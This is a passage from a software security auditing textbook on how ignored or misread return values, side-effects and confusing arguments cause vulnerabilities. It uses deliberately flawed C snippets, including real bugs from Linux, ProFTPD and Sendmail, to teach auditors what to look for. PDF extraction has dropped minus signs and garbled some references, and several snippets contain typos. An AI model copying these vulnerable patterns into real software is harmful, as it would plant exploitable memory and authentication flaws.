When calloc() fails, the function returns NULL instead of -1. 

 

While you don't need to understand the entire log yet, the following is a brief 

summary of each row that you can easily refer back to: 

 Function name The complete function prototype. 

 Description A brief description of what the function does. 

 Location The location of the function definition (file and line number). 

 Cross-references The locations that call this function definition (files and line 

numbers). 

 Return value type The C type that is returned. 

 Return value meaning The set of return types and the meaning they convey. 

 Error conditions Conditions that might cause the function to return error 

values. 

 Erroneous return values Return values that do not accurately represent the 

functions result, such as not returning an error value when a failure condition 

occurs. 

Return Value Testing and Interpretation 

Ignored or misinterpreted return values are the cause of many subtle vulnerabilities 

in applications. Essentially, each function in an application is a compartmentalized 

code fragment designed to perform one specific task. Because it does this in a "black 

box" fashion, details of the results of its operations are largely invisible to calling 

functions. Return values are used to indicate some sort of status to calling functions. 

Often this status indicates success or failure or provides a value that's the result of the 

function's taskwhether it's an allocated memory region, an integer result from a 

mathematical operation, or simply a Boolean true or false to indicate whether a 

specific operation is allowed. In any case, the return value plays a major part in 

function calling, in that it communicates some result between two separate functional 

components. If a return value is misinterpreted or simply ignored, the program might 

take incorrect code paths as a result, which can have severe security implications. As 

you can see, a large part of the information in the audit log is related to the return 

value's meaning and how it's interpreted. The following sections explore the process 

a code auditor should go through when auditing function calls to determine whether 
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a miscommunication can occur between two components and whether that 

miscommunication can affect the program's overall security. 

Ignoring Return Values 

Many functions indicate success or failure through a return value. Consequently, 

ignoring a return value could cause an error condition to go undetected. In this 

situation, a code auditor must determine the implications of a function's potential 

errors going undetected. The following simple example is quite common: 

char *buf = (char *)malloc(len); 

 

memcpy(buf, src, len); 

 

Quite often, the malloc() function isn't checked for success or failure, as in the 

preceding code; the developer makes the assumption that it will succeed. The 

obvious implication in this example is that the application will crash if malloc() can be 

made to fail, as a failure would cause buf to be set to NULL, and the memcpy() would 

cause a NULL pointer dereference. Similarly, it's not uncommon for programmers to 

fail to check the return value of realloc(), as shown in Listing 7-25. 

Listing 7-25. Ignoring realloc() Return Value 

struct databuf 

{ 

    char *data; 

    size_t allocated_length; 

    size_t used; 

}; 

... 

 

int append_data(struct databuf *buf, char *src, size_t len) 

{ 

    size_t new_size = buf->used + len + EXTRA; 

 

    if(new_size < len) 

        return -1; 

 

    if(new_size > buf->allocated_length) 

    { 

        buf->data = (char *)realloc(buf->data, new_size); 

        buf->allocated_length = new_size; 

    } 
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    memcpy(buf->data + buf->used, src, len); 

 

    buf->used += len; 

 

    return 0; 

} 

 

As you can see the buf->data element can be reallocated, but the realloc() return 

value is never checked for failure. When the subsequent memcpy() is performed, 

there's a chance an exploitable memory corruption could occur. Why? Unlike the 

previous malloc() example, this code copies to an offset from the allocated buffer. If 

realloc() fails, buf->data is NULL, but the buf->used value added to it might be large 

enough to reach a valid writeable page in memory. 

Ignoring more subtle failures that don't cause an immediate crash can lead to far 

more serious consequences. Paul Starzetz, an accomplished researcher, discovered a 

perfect example of a subtle failure in the Linux kernel's memory management code. 

The do_mremap() code is shown in Listing 7-26. 

Listing 7-26. Linux do_mremap() Vulnerability 

    /* new_addr is valid only if MREMAP_FIXED is 

       specified */ 

    if (flags & MREMAP_FIXED) { 

            if (new_addr & ~PAGE_MASK) 

                    goto out; 

            if (!(flags & MREMAP_MAYMOVE)) 

                    goto out; 

 

            if (new_len > TASK_SIZE 

                || new_addr > TASK_SIZE - new_len) 

                    goto out; 

            /* Check if the location you're moving into 

             * overlaps the old location at all, and 

             * fail if it does. 

             */ 

            if ((new_addr <= addr) 

                && (new_addr+new_len) > addr) 

                    goto out; 

 

            if ((addr <= new_addr) 

                && (addr+old_len) > new_addr) 

                    goto out; 
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            do_munmap(current->mm, new_addr, new_len); 

    } 

 

    /* 

     * Always allow a shrinking remap: that just unmaps 

     * the unnecessary pages. 

     */ 

    ret = addr; 

    if (old_len >= new_len) { 

            do_munmap(current->mm, addr+new_len, 

                      old_len - new_len); 

            if (!(flags & MREMAP_FIXED) 

                || (new_addr == addr)) 

                    goto out; 

    } 

 

The vulnerability in this code is that the do_munmap() function could be made to fail. A 

number of conditions can cause it to fail; the easiest is exhausting maximum resource 

limits when splitting an existing virtual memory area. If the do_munmap() function fails, 

it returns an error code, which do_mremap() completely ignores. The result of ignoring 

this return value is that the virtual memory area (VMA) structures used to represent 

page ranges for processes can be made inconsistent by having page table entries 

overlapped in two VMAs or totally unaccounted-for VMAs. Through a novel 

exploitation method using the page-caching system, arbitrary pages could be 

mapped erroneously into other processes, resulting in a privilege escalation condition. 

More information on this vulnerability is available at 

www.isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt. 

Generally speaking, if a function call returns a value, as opposed to returning nothing 

(such as a void function), a conditional statement should follow each function call to 

test for success or failure. Notable exceptions are cases in which the function 

terminates the application via a call to an exit routine or errors are handled by an 

exception mechanism in a separate block of code. If no check is made to test for 

success or failure of a function, the code auditor should take note of the location 

where the value is untested. 

Taking this investigation a step further, the auditor can then ask what the implications 

are of ignoring this return value. The answer depends on what can possibly go wrong 

in the function. The best way to find out exactly what can go wrong is to examine the 

target function and locate each point at which the function can return. Usually, 

several error conditions exist that cause the function to return as well as one return at 

successful completion of its task. The most interesting cases for auditors to examine, 

http://www.isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
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naturally, are those in which errors do occur. After identifying all the ways in which 

the function might return, the auditor has a list of possible error conditions that can 

escape undetected in the application. After compiling this list, any conditions that are 

impossible for users to trigger can be classified as a lower risk, and auditors can focus 

on conditions users are able to trigger (even indirectly, such as a memory allocation 

failure). Listing 7-27 provides an opportunity to apply this investigation process to a 

simple code block. 

Listing 7-27. Finding Return Values 

int read_data(int sockfd, char **buffer, int *length) 

{ 

    char *data; 

    int n, size = MAX_SIZE; 

 

    if(!(data = (char *)calloc(MAX_SIZE, sizeof(char)))) 

        return 1; 

 

    if((n = read(sockfd, data, size)) <= 0) 

        return 1; 

 

    *length = n; 

    *buffer = data; 

 

    return 0; 

} 

 

Assume you have noticed a case in which the caller doesn't check the return value of 

this function, so you decide to investigate to see what can possibly go wrong. The 

function can return in three different ways: if the call to calloc() fails, if the call to 

read() fails, or if the function successfully returns. Obviously the most interesting 

cases are the two error conditions, which should be noted in your audit log. An error 

condition occurs when the call to calloc() fails because the memory of the process 

has been exhausted. (Causing the program to exhaust its memory is tricky, but it's 

certainly possible and worth considering.) An error condition can also occur when 

read() returns an error or zero to indicate the stream is closed, which is probably 

quite easy to trigger. The implications of ignoring the return value to this function 

depend on operations following the function call in the calling routine, but you can 

immediately deduce that they're probably quite serious. How do you know this? The 

buffer and length arguments are never initialized if the function failsso if the caller 

fails to check for failure, most likely it continues processing under the assumption that 

the buffer contains a pointer to some valid memory region with bytes in it to process. 

Listing 7-28 shows an example of what this type of calling function might look like. 
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Listing 7-28. Ignoring Return Values 

int process_request(int sockfd) 

{ 

    char *request; 

    int len, reqtype; 

 

    read_data(sockfd, &request, &len); 

 

    reqtype = get_token(request, len); 

 

    ... 

} 

 

The code is written with the assumption that read_data() returned successfully and 

passes what should be a character buffer and the number of bytes in it to the function 

get_token(), presumably to get a keyword out of the request buffer to determine 

what type of request is being issued. Because read_data() isn't checked for success, 

it turns out that two uninitialized stack variables could be supplied to get_token(): 

request, which is expected to point to some allocated memory, and len, which is 

expected to indicate the number of bytes read off the network into request. Although 

the exact consequences of this error depend on how get_token() operates, you know 

from the discussion earlier in this chapter that processing uninitialized variables can 

have severe consequences, so ignoring the return value of read_data() probably has 

serious implications. These implications range from a best-case scenario of just 

crashing the application to a worse-case scenario of corrupting memory in an 

exploitable fashion. Pay close attention to how small differences in the caller could 

affect the significance of these errors. As an example, take a look at this slightly 

modified calling function: 

int process_request(int sockfd) 

{ 

    char *request = NULL; 

    int len = 0, reqtype; 

 

    read_data(sockfd, &request, &len); 

 

    reqtype = get_token(request, len); 

 

    ... 

} 

 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 364 

Here, you have the same function with one key difference: The stack variables passed 

to read_data() are initialized to zero. This small change in the code drastically affects 

the seriousness of ignoring the return value of read_data(). Now the worst thing that 

can happen is that the program can be made to crash unexpectedly, which although 

undesirable, isn't nearly as serious as the memory corruption that was possible in the 

function's original version. That being said, err on the side of caution when estimating 

the impact of return values, as crashing the application might not be the end of the 

story. The application might have signal handlers or exception handlers that perform 

some program maintenance before terminating the process, and they could provide 

some opportunity for exploitation (although probably not in this example). 

Misinterpreting Return Values 

Another situation that could cause problems happens when a return value of a 

function call is tested or utilized, but the calling function misinterprets it. A return 

value could be misinterpreted in two ways: A programmer might simply 

misunderstand the meaning of the return value, or the return value might be involved 

in a type conversion that causes its intended meaning to change. You learned about 

type conversion problems in Chapter 6(? [????.]), so this section focuses mainly on 

errors related to the programmer misinterpreting a return value. 

This type of programmer error might seem unlikely or uncommon, but it tends to 

occur quite often in production code, especially when a team of programmers is 

developing an application and using third-party code and libraries. Often developers 

might not fully understand the external code's correct use, the external code might 

change during the development process, or specifications and documentation for the 

external code could be incorrect. Programmers can also misuse well-known APIs, 

such as the language's runtime library, because of a lack of familiarity or simple 

carelessness. To understand this point, consider the following code: 

#define SIZE(x, y) (sizeof(x)  ((y)  (x))) 

 

char buf[1024], *ptr; 

 

ptr = buf; 

ptr += snprintf(ptr, SIZE(buf, ptr), "user: %s\n", username); 

ptr += snprintf(ptr, SIZE(buf, ptr), "pass: %s\n", password); 

 

... 

 

This code contains a simple mistake. On UNIX machines, the snprintf() function 

typically returns how many bytes it would have written to the destination, had there 

been enough room. Therefore, the first call to snprintf() might return a value larger 

than sizeof(buf) if the username variable is very long. The result is that the ptr 
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variable is incremented outside the buffer's bounds, and the second call to snprintf() 

could corrupt memory due to and integer overflow in the SIZE macro. Hence, the 

password written into the buffer could be arbitrarily large. 

Vulnerabilities that arise from misinterpreting return values are often quite subtle and 

difficult to spot. The best way to go about finding these vulnerabilities is by taking this 

systematic approach when examining a function: 

1. Determine the intended meaning of the return value for the function. When 

the code is well commented or documented, the auditor might have a good 

idea of its meaning even before looking at the code; however, verifying that 

the function returns what the documenter says it does is still important. 

2. Look at each location in the application where the function is called and see 

what it does with the return value. Is it consistent with that return value's 

intended meaning? 

The first step raises an interesting point: Occasionally, the fault of a misinterpreted 

return value isn't with the calling function, but with the called function. That is, 

sometimes the function returns a value that's outside the documented or specified 

range of expected return values, or it's within the range of valid values but is incorrect 

for the circumstance. This error is usually caused by a minor oversight on the 

application developer's part, but the consequences can be quite drastic. For example, 

take a look at Listing 7-29. 

Listing 7-29. Unexpected Return Values 

int authenticate(int sock, int auth_type, char *login) 

{ 

    struct key *k; 

    char *pass; 

 

    switch(auth_type){ 

        case AUTH_USER: 

           if(!(pass = read_string(sock))) 

               return -1; 

           return verify_password(login, pass); 

 

       case AUTH_KEY: 

           if(!(key = read_key(sock))) 

               return 0; 

           return verify_key(login, k); 

 

       default: 

           return 0; 

} 
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int check_credentials(int sock) 

{ 

    int auth_type, authenticated = 0; 

 

    auth_type = read_int(sock); 

 

    authenticated = authenticate(sock, auth_type, login); 

 

    if(!authenticated) 

        die("couldn't authenticate %s\n", login); 

 

    return 0; 

} 

 

Assume that the authenticate() function in Listing 7-29 is supposed to return 1 to 

indicate success or 0 to indicate failure. You can see, however, that a mistake was 

made because failure can cause the function to return -1 rather than 0. Because of 

the way the return value was checkedby testing the return value for zero or 

non-zerothis small logic flaw could allow users to log in even though their credentials 

are totally invalid! However, this program wouldn't be vulnerable if the return value 

check specifically tested for the value of 1, as in this example: 

if(authenticated != 1) 

    .. error .. 

 

Non-zero values represent true in a boolean comparison; so it's easy to see how such 

a misunderstanding could happen. To spot these errors, auditors can use a process 

similar to the one for identifying the implications of ignored return values: 

1. Determine all the points in a function where it might return Again, usually 

there are multiple points where it might return because of errors and one point 

at which it returns because of successful completion. 

2. Examine the value being returned Is it within the range of expected return 

values? Is it appropriate for indicating the condition that caused the function 

to return? 

If you find a spot where an incorrect value is returned from a function, you should 

take note of its location and then evaluate its significance based on how the return 

value is interpreted in every place where the function is called. Because this process 

is so similar to determining the implications of ignoring the current function's return 
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value, both tasks can and should be integrated into one process to save time. For 

example, say you're auditing the following function: 

int read_data(int sockfd, char **buffer, int *length) 

{ 

    char *data; 

    int n, size = MAX_SIZE; 

 

    if(!(data = (char *)calloc(MAX_SIZE, sizeof(char)))) 

        return 0; 

 

    if((n = read(sockfd, data, size)) <= 0) 

        return -1; 

 

    *length = n; 

    *buffer = data; 

 

    return 0; 

} 

 

The function audit logs presented earlier in this chapter provide an ideal way to 

capture all the important information about return values for the read_data() function 

presented here. Table 7-2 demonstrates the rows in an audit log for this function that 

encapsulates all of the relevant information on the expected return values from this 

function. 

Table 7-2. Return Values from Sample Audit Log 

Return value type 32-bit signed integer 

Return value meaning Indicates error: 0 for success or -1 for error 

 

The implications of incorrect return values or of a calling function ignoring return 

values aren't listed in the table, as those implications vary depending on the calling 

function. Auditors could track this information in notes they keep on the 

process_request() and process_login() functions. Keeping a log for every function in 

a large application would be quite tedious (not to mention time consuming), so you 

might choose not to log this information based on two requirements: The function is 

never called in a context influenced by users who are potential attackers, such as 

configuration file utility functions, or the function is so small and simple that it's easy 

to remember how it operates. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 368 

Keeping these logs might seem excessive because after reading the code, you know 

all the information needed to audit a function's use; however, there are two 

compelling reasons for writing down this information: 

 Applications can be arbitrarily complex, and functions might be called in 

hundreds of different places, each with slightly differing sets of circumstances. 

 When the application is updated, it's helpful to have a set of notes you can 

refer to if you want to see whether the changes have an interesting impact. 

The small nuances of functions are easy to forget over time, and this way, you 

can refer to your notes without reading the application code again, or worse, 

assuming you know how the application works and missing new 

vulnerabilities. 

The second way function return values can be misinterpreted is a type conversion that 

causes the return value's meaning to change. This misinterpretation is an extension 

of the first kind of misinterpretationthe calling function simply misunderstands the 

meaning of the value. You have already learned about type conversion issues in 

Chapter 6(? [????.]), so you don't need to revisit them. However, be aware that when 

a return value is tested and discarded or stored in a variable for later use, determining 

the type conversions that take place during each subsequent use of the value is 

essential. When the return value is tested and discarded, you need to consider the 

type conversion rules to verify that the value is being interpreted as intended. When 

the return value is stored, you should examine the type of variable it's stored in to 

ensure that it's consistent with the type of the function's return value. 

The return value log shown in Table 7-2 can help you discover vulnerabilities related 

to return value type conversions. In particular, the Return type and Return value 

meaning rows serve as a brief summary of how the return value is intended to be 

used. So if a type conversion takes place, you can quickly see whether parts of the 

return value meaning could be lost or misinterpreted by a type conversion (such as 

negative values). 

Function Side-Effects 

Side-effects occur when a function alters the program state in addition to any values 

it returns. A function that does not generate any side-effects is considered 

referentially transparentthat is, the function call can be replaced directly with the 

return value. In contrast, a function that causes side-effects is considered 

referentially opaque. Function side effects are an essential part of most 

programming languages. They allow the programmer to alter elements of the 

program state or return additional pieces of data beyond what the return value can 

contain. In this section, you will explore the impact of two very specific function side 

effects: manipulating arguments passed by reference (value-result arguments) and 

manipulating globally scoped variables. 
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Vulnerabilities resulting from manipulating pass-by-reference arguments can occur 

because the calling function's author neglects to account for possibility of changes to 

the arguments, or the function can be made to manipulate its arguments in an 

unanticipated or inconsistent fashion. One of the more common situations in which 

this bug can occur is when realloc() is used to resize a buffer passed as a pointer 

argument. The vulnerability usually occurs for one of two reasons: The calling 

function has a pointer that was not updated after a call to realloc(), or the new 

allocation size is incorrect because of a length miscalculation. Listing 7-30 shows an 

example of a function that reallocates a buffer passed by reference, resulting in the 

calling function referencing an outdated pointer. 

Listing 7-30. Outdated Pointer Vulnerability 

int buffer_append(struct data_buffer *buffer, char *data, 

                  size_t n) 

{ 

    if(buffer->size  buffer->used < n){ 

        if(!(buffer->data = 

             realloc(buffer->data, buffer->size+n))) 

            return -1; 

        buffer->size = buffer->size+n; 

    } 

 

    memcpy(buffer->data + buffer->used, n); 

 

    buffer->used += n; 

 

    return 0; 

} 

int read_line(int sockfd, struct data_buffer *buffer) 

{ 

    char data[1024], *ptr; 

    int n, nl = 0; 

 

    for(;;){ 

        n = read(sockfd, data, sizeof(data)-1); 

 

        if(n <= 0) 

            return 1; 

 

 

        if((ptr = strchr(data, '\n'))){ 

            n = ptr  data; 

           nl = 1; 

        } 
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        data[n] = '\0'; 

 

        if(buffer_append(buffer, data, n) < 0) 

            return -1; 

 

        if(nl){ 

            break; 

    } 

 

    return 0; 

} 

int process_token_string(int sockfd) 

{ 

    struct data_buffer *buffer; 

    char *tokstart, *tokend; 

    int i; 

 

    buffer = buffer_allocate(); 

    if(!buffer) 

        goto err; 

 

    for(i = 0; i < 5; i++){ 

        if(read_data(sockfd, buffer) < 0) 

            goto err; 

 

        tokstart = strchr(buffer->data, ':'); 

 

        if(!tokstart) 

            goto err; 

 

        for(;;){ 

            tokend = strchr(tokstart+1, ':'); 

 

            if(tokend) 

                break; 

 

            if(read_line(sockfd, buffer) < 0) 

                goto err; 

        } 

 

        *tokend = '\0'; 

 

        process_token(tokstart+1); 
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        buffer_clear(buffer); 

    } 

 

    return 0; 

 

err: 

    if(buffer) 

        buffer_free(buffer); 

    return 1; 

} 

 

The process_token_string() function reads five tokens that are delimited by a colon 

character and can expand to multiple lines. During token processing, the read_line() 

function is called to retrieve another line of data from the network. This function then 

calls buffer_append(), which reallocates the buffer when there's not enough room to 

store the newly read line. The problem is that when a reallocation occurs, the 

process_token_string() function might end up with two outdated pointers that 

referenced the original buffer: tokstart and tokend. Both of these outdated pointers 

are then manipulated (as shown in bold), resulting in memory corruption. 

As you can see, these outdated pointer bugs are generally spread out between 

several functions, making them much harder to find. So it helps to have a little more 

practice in identifying code paths vulnerable to these issues. Listing 7-31 shows 

another example of an outdated pointer use do to buffer reallocation, this time from 

example from ProFTPD 1.2.7 through 1.2.9rc2. 

Listing 7-31. Outdated Pointer Use in ProFTPD 

static void _xlate_ascii_write(char **buf, unsigned int *buflen, 

    unsigned int bufsize, unsigned int *expand) { 

  char *tmpbuf = *buf; 

  unsigned int tmplen = *buflen; 

  unsigned int lfcount = 0; 

  int res = 0; 

  register unsigned int i = 0; 

 

  /* Make sure this is zero (could be a holdover from a 

     previous call). */ 

  *expand = 0; 

 

  /* First, determine how many bare LFs are present. */ 

  if (tmpbuf[0] == '\n') 
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    lfcount++; 

 

  for (i = 1; i < tmplen; i++) 

    if (tmpbuf[i] == '\n' && tmpbuf[i-1] != '\r') 

      lfcount++; 

 

The _xlate_ascii_write() function checks how many newline characters are in the 

file being transmitted. In ASCII FTP modes, each newline must be prepended with a 

carriage return, so the program developers want to allocate a buffer big enough for 

those extra carriage returns to compensate for ASCII file transfers. The buffer being 

reallocated is the destination buffer, the first argument to the _xlate_ascii_write() 

function. If a reallocation occurs, the destination buffer is updated, as shown in the 

following code: 

if ((res = (bufsize - tmplen - lfcount)) < 0) { 

  pool *copy_pool = make_sub_pool(session.xfer.p); 

  char *copy_buf = pcalloc(copy_pool, tmplen); 

 

  memmove(copy_buf, tmpbuf, tmplen); 

 

  /* Allocate a new session.xfer.buf of the needed size. */ 

    session.xfer.bufsize = tmplen + lfcount; 

    session.xfer.buf = pcalloc(session.xfer.p, 

                               session.xfer.bufsize); 

 

    ... do more stuff ... 

 

  *buf = tmpbuf; 

  *buflen = tmplen + (*expand); 

} 

 

The preceding code is fine, but look at the code that calls _xlate_ascii_write(): 

int data_xfer(char *cl_buf, int cl_size) { 

  char *buf = session.xfer.buf; 

  int len = 0; 

  int total = 0; 

 

  ... does some stuff ... 

 

      while (size) { 

        char *wb = buf; 
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        unsigned int wsize = size, adjlen = 0; 

 

        if (session.flags & (SF_ASCII|SF_ASCII_OVERRIDE)) 

          _xlate_ascii_write(&wb, &wsize, session.xfer.bufsize, 

                             &adjlen); 

 

        if(pr_netio_write(session.d->outstrm, wb, wsize) == -1) 

          return -1; 

 

The data_xfer() function has a loop for transferring a certain amount of data for each 

iteration. Each loop iteration, however, resets the input buffer to the original 

session.xfer.buf, which might have been reallocated in _xlate_ascii_write(). 

Furthermore, session.xfer.bufsize is passed as the length of the buffer, which 

_xlate_ascii_write() also might have updated. As a result, if _xlate_ascii_write() 

ever reallocates the buffer, any subsequent loop iterations use an outdated pointer 

with an invalid size! 

The previous examples centered on reallocating memory blocks. Similar errors have 

been uncovered in a number of applications over the past few years. Sometimes 

unique situations that are less obvious crop up. The code in Listing 7-32 is taken from 

the prescan() function in Sendmail. The vulnerability involves updating an argument 

to prescan() (the delimptr argument) to point to invalid data when certain error 

conditions cause the function to terminate unexpectedly during a nested loop. This 

vulnerability revolves around the p variable being incremented as the prescan() 

function reads in a character. 

Listing 7-32. Sendmail Return Value Update Vulnerability 

/* read a new input character */ 

   c = (*p++) & 0x00ff; 

 

   if (c == '\0') 

   { 

       /* diagnose and patch up bad syntax */ 

       if (state == QST) 

       { 

           usrerr("553 Unbalanced '\"'"); 

           c = '"'; 

       } 

       else if (cmntcnt > 0) 

       { 

           usrerr("553 Unbalanced '('"); 

           c = ')'; 

       } 
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       else if (anglecnt > 0) 

       { 

           c = '>'; 

           usrerr("553 Unbalanced '<'"); 

       } 

       else 

           break; 

 

       p--; 

 

When the end of the string is encountered, the break statement is executed and the 

inner loop is broken out of. A token is then written to the output avp token list, as 

shown in the following code: 

    /* new token */ 

       if (tok != q) 

       { 

           /* see if there is room */ 

           if (q >= &pvpbuf[pvpbsize - 5]) 

               goto addrtoolong; 

               *q++ = '\0'; 

               if (tTd(22, 36)) 

               { 

                   sm_dprintf("tok="); 

                   xputs(tok); 

                   sm_dprintf("\n"); 

           } 

           if (avp >= &av[MAXATOM]) 

           { 

               usrerr("553 5.1.0 prescan: too many tokens"); 

               goto returnnull; 

           } 

           if (q - tok > MAXNAME) 

           { 

               usrerr("553 5.1.0 prescan: token too long"); 

               goto returnnull; 

           } 

           *avp++ = tok; 

        } 

    } while (c != '\0' && (c != delim || anglecnt > 0)); 
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If an error condition is encountered (the token is too long or there's more than 

MAXATOM tokens), an error is indicated and the function returns. However, the delimptr 

argument is updated to point outside the bounds of the supplied string, as shown in 

this code: 

returnnull: 

    if (delimptr != NULL) 

        *delimptr = p; 

    CurEnv->e_to = saveto; 

    return NULL; 

} 

 

When the error conditions shown earlier are triggered, the p variable points one byte 

past where the NUL byte was encountered, and delimptr is consequently updated to 

point to uninitialized stack data. The p variable is then manipulated, which creates the 

possibility of exploitation. 

When reviewing an application, code auditors should make note of security-relevant 

functions that manipulate pass-by-reference arguments, as well as the specific 

manner in which they perform this manipulation. These kinds of argument 

manipulations often use opaque pointers with an associated set of manipulation 

functions. This type of manipulation is also an inherent part of C++ classes, as they 

implicitly pass a reference to the this pointer. However, C++ member functions can 

be harder to review due to the number of implicit functions that may be called and the 

fact that the code paths do not follow a more direct procedural structure. Regardless 

of the language though, the best way to determine the risk of a pass-by-reference 

manipulation is to follow this simple process: 

1. Find all locations in a function where pass-by-reference arguments are 

modified, particularly structure arguments, such as the buffer structure in 

Listing 7-25. 

2. Differentiate between mandatory modification and optional modification. 

Mandatory modification occurs every time the function is called; optional 

modification occurs when an abnormal situation arises. Programmers are 

more likely to overlook exceptional conditions related to optional modification. 

3. Examine how calling functions use the modified arguments after the function 

has returned. 

In addition, note when arguments aren't updated when they should be. Recall the 

read_line() function that was used to illustrate return value testing (see Listing 7-30). 

When the data allocation or read function failed, arguments that were intended to be 

updated every time weren't updated. Also, pay close attention to what happens when 

functions return early because of some error: Are arguments that should be updated 

not updated for some reason? You might think that if the caller function tests return 
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values correctly, not updating arguments wouldn't be an issue; however, there are 

definitely cases in applications when arguments are supposed to be updated even 

when errors do occur (such as the Sendmail example shown in Listing 7-32). 

Therefore, even though the error might be detected correctly, the program is still 

vulnerable to misuse because arguments aren't updated correctly. 

To help identify these issues with argument manipulation, use your function audit 

logs to identify where pass-by-reference arguments are modified in the function and 

any cases in which pass-by-reference arguments aren't modified. Then examine 

calling functions to determine the implications (if any) of these updates or lack of 

updates. To incorporate this check, you could add some rows to the audit log, as 

shown in Table 7-3. 

Table 7-3. Rows to Add to the Function Audit Log 

Mandatory 

modifications 

char **buffer (second argument): Updated with a data buffer 

that's allocated within the function. 

int *length (third argument): Updated with how many bytes 

are read into **buffer for processing. 

Optional 

modifications 

None 

Exceptions Both arguments aren't updated if the buffer allocation fails or 

the call to read() fails. 

 

Auditing functions that modify global variables requires essentially the same thought 

processes as auditing functions that manipulate pass-by-reference arguments. The 

process involves auditing each function and enumerating the situations in which it 

modifies global variables. However, vulnerabilities introduced by modifying global 

variables might be more subtle because any number of different functions can make 

use of a global variable and, therefore, expect it to be in a particular state. This is 

especially true for code that can run at any point in the program, such as an exception 

handler or signal handler. 

In practice, you can conduct this analysis along with argument manipulation analysis 

when you're creating function audit logs. You can place the notes about global 

variable modification in the rows for modifications. There may be a little more work in 

determining the implications of modifying global variables, however. To evaluate the 

risk of these variables being modified (or not modified when they should be), simply 

look at every instance in which the global variable is used. If you find a case in which 

a global variable is assumed to be initialized or updated in a certain way, attackers 

might be able to leverage the application when functions that are supposed to operate 

on the global variable don't or when functions modify it unexpectedly. In Listing 7-4(? 
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[????.]), you saw an example of this kind of vulnerability in OpenSSH with the global 

buffer structure variables. In that code, the destruction functions called by fatal() 

make an assumption about their state being consistent. 

In object-oriented programs, it can be much harder to determine whether global 

variables are susceptible to misuse because of unexpected modification. The difficulty 

arises because the order of execution of constituent member functions often isn't 

clear. In these cases, it is best to examine each function that makes use of the global 

variable and then attempt to come up with a situation in which a vulnerability could 

happen. For example, say you have two classes, C and D. C has member functions cX, 

cY, and cZ, and D has member functions dX, dY, and dZ. If you spot a potentially 

unexpected modification of a global variable in cX, and then see that global variable 

manipulated in dY and dZ, the challenge is to determine whether the cX function can 

be called in such a way that the global variable is updated in an unexpected fashion, 

and dY and dZ can operate on the global variable when it's in this inconsistent state. 

Argument Meaning 

Chapter 2(? [????.]) presented clarity as a design principle that affects the security of 

a system. Misleading or confusing function arguments provide a very immediate 

example of just this issue. Any confusion over the intended meaning of arguments 

can have serious security implications because the function doesn't perform as the 

developer expected. An argument's "intended meaning" generally means the data 

type the function expects for that argument and what the data stored in that 

argument is supposed to represent. 

When auditing a function for vulnerabilities related to incorrect arguments being 

supplied, the process is as follows: 

1. List the type and intended meaning of each argument to a function. 

2. Examine all the calling functions to determine whether type conversions or 

incorrect arguments could be supplied. 

The first thing to check for is type conversions. Type conversions actually occur often 

in arguments passed to a function, but most of the time they don't cause 

security-relevant problems. For example, integers are often passed to read() as the 

third argument, where they're converted to a size_t, but usually this conversion 

doesn't matter because the integer is a constant value. For each function call they 

analyze, code auditors should note any type conversions that do occur and how that 

argument is used in the function being audited. The conversion might become an 

issue if the interpretation of the argument can change based on a sign change. The 

issue might be significant if the argument's bit pattern changes during the type 

conversion (as in a sign extension) because the application developer probably didn't 

expect this type conversion. 
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Next, examine the argument's intended meaning, which can usually be determined 

by observing the context in which it's used. If a function's interface is unclear or 

misleading, an application developer can easily misunderstand how to use the 

function correctly, which can introduce subtle vulnerabilities. Chapter 8(? [????.]), 

"Strings and Metacharacters," presents examples involving MultiByteToWideChar() 

and other similar functions that illustrate a common mistake made in code dealing 

with wide characters. Often, in these functions, length arguments indicate a 

destination buffer's size in wide characters, not in bytes. Confusing these two data 

sizes is an easy mistake to make, and the result of mixing them up is usually a buffer 

overflow. 

So how do you find vulnerabilities of this nature? You need to understand exactly how 

the function works and what arguments are used for in the function. The general rule 

is this: The more difficult the function is to figure out, the more likely it is that it will 

be used incorrectly. As with the other elements of function auditing, making a log 

recording the meaning of different arguments is recommended. This log can be used 

with the argument modification log because similar information is being recorded; 

basically, you want to know what arguments are required, how they are used, and 

what happens to these arguments throughout the course of the function. Table 7-4 

shows an example of a function arguments log. 

Table 7-4. Function Argument Audit Log 

Argument 1 

prototype 

wchar_t *dest 

Argument 1 

meaning 

Destination buffer where data is copied into from the source buffer 

Argument 2 

prototype 

wchar_t *src 

Argument 2 

meaning 

Source buffer where wide characters are copied from 

Argument 3 

prototype 

size_t len 

Argument 3 

meaning 

Maximum size in wide characters of the destination buffer (doesn't 

include a NUL terminator) 

Implications NUL termination is guaranteed. 

The len parameter doesn't include the null terminator character, so 

the null character can be written out of bounds if the supplied len is 

the exact size of the buffer divided by 2. 

The length parameter is in wide characters; callers might 
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Table 7-4. Function Argument Audit Log 

Argument 1 

prototype 

wchar_t *dest 

accidentally use sizeof(buf), resulting in an overflow. 

If 0 is supplied as a len, it's decremented to -1, and an infinite copy 

occurs. 

If -1 length is supplied, it's set artificially to 256. 

 

Table 7-4 lists a prototype and the intended meaning for each argument. Probably the 

most important part of the log is the implications list, which summarizes how 

application programmers could use the function incorrectly and notes any 

idiosyncrasies in the function that might cause exploitable conditions. After compiling 

this list, you can reference it at each location where the function is called and attempt 

to determine whether any conditions in the list can be true in the calling functions. In 

the sample function in Table 7-4, quite a few conditions result in the function doing 

something it shouldn't. It's an example of a function with an awkward interface, as it 

can be called incorrectly in so many ways that it would be quite easy for an application 

developer to misuse it. 

Ultimately, the trick to finding vulnerabilities related to misunderstanding functions 

arguments is to be able to conceptualize a chunk of code in isolation. When you're 

attempting to understand how a function operates, carefully examine each condition 

that's directly influenced by the arguments and keep thinking about what boundary 

conditions might cause the function to be called incorrectly. This task takes a lot of 

practice, but the more time you spend doing it, the faster you can recognize 

potentially dangerous code constructs. Many functions perform similar operations 

(such as string copying and character expansion) and are, therefore, prone to similar 

misuses. As you gain experience auditing these functions, you can observe patterns 

common to exceptional conditions and, over time, become more efficient at 

recognizing problems. Spend some time ensuring that you account for all quirks of 

the function so that you're familiar with how the function could be misused. You 

should be able to answer any questions about a functions quirks and log the answers 

so that the information is easily accessible later. The small details of what happens to 

an argument during the function execution could present a whole range of 

opportunities for the function to be called incorrectly. Finally, be especially mindful of 

type conversions that happen with arguments, such as truncation when dealing with 

short integers, because they are susceptible to boundary issues (as discussed in 

Chapter 6(? [????.])). 

7.3.5 Auditing Memory Management 
